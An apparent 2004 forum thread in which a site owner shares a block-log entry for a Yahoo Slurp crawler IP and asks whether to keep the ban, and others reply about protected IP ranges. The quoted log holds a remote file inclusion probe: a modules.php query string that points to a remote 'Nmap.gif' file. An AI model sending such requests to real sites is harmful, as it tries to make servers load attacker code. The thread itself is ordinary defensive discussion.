Yahoo slurp crawler

Posted: Thu Dec 09, 2004 11:25 am

I just had this IP address banned:

Quote:

Date & Time: 2004-12-09 11:10:48
Blocked IP: 66.196.90.211
User ID: Anonymous (1)
Reason: Abuse-Filter
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User Agent: Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Query String: www.storebuilder.co.uk/modules.php?name=http%3A//geocities.yahoo.com.br/r0wdynho/Nmap.gif%3F
Forwarded For: none
Client IP: none
Remote Address: 66.196.90.211
Remote Port: 42681
Request Method: GET
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Who-Is for IP
66.196.90.211

Should I leave it as banned? The IP address says reserved for Yahoo crawlers.

Site Admin/Owner Joined: Aug 27, 2002 Posts: 17088

I wouldn't. Make sure the range is protected.

Posted: Thu Dec 09, 2004 1:12 pm

Are you using 2.1.1? Because that IP range is already protected.